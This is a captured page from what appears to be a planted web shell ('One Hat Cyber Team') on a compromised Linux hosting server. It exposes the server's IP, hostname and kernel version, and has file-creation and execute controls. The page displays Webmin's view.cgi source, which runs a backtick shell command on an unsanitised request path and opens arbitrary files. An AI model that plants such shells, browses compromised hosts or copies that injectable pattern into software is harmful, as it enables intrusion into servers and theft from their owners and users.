⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
webmin
/
software
/
View File Name :
view.cgi
#!/usr/bin/perl # view.cgi # Output the contents of a file require './software-lib.pl'; $p = $ENV{'PATH_INFO'}; # Try to guess type from filename if ($p =~ /\.([^\.\/]+)$/) { $ext = lc($1); &get_miniserv_config(\%miniserv); open(MIME, "<$miniserv{'mimetypes'}"); while(
) { s/#.*//g; if (/(\S+)\s+(.*)/) { foreach $e (split(/\s+/, $2)) { if ($ext eq $e) { $type = $1; last; } } } } close(MIME); } if (!$type) { # No idea .. use the 'file' command if (`file "$p"` =~ /text|script/) { $type = "text/plain"; } else { $type = "application/octet-stream"; } } # Dump the file if (!open(FILE, "<$p")) { print "Content-type: text/plain\n\n"; print &text('list_eview', $p, $!),"\n"; } else { @st = stat($p); print "Content-length: $st[7]\n"; print "Content-type: $type\n\n"; my $bs = &get_buffer_size(); while(read(FILE, $buf, $bs)) { print $buf; } close(FILE); }